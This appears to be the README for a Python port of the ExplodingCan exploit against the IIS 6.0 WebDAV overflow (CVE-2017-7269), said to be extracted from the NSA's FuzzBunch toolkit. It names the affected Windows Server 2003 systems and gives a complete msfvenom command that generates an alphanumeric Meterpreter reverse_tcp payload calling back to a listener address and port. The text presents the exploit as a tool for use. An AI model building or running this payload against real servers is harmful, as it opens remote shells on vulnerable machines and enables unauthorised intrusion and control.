An implementation of ExplodingCan's exploit extracted from FuzzBunch, the "Metasploit" of the NSA.

• Vulnerability: Microsoft IIS WebDav 'ScStoragePathFromUrl' Remote Buffer Overflow
• CVE: CVE-2017-7269
• Disclosure date: March 31 2017
• Affected product: Microsoft Windows Server 2003 R2 SP2 x86

Months ago I needed to study this exploit, and finally I implemented it in python.

The shellcode must be in alphanumeric format due to the limitations of the bug. For example we can use msfvenom (metasploit) with the alpha_mixed encoder.

$ msfvenom -p windows/meterpreter/reverse_tcp -f raw -v sc -e x86/alpha_mixed LHOST=172.16.20.1 LPORT=4444 >shellcode
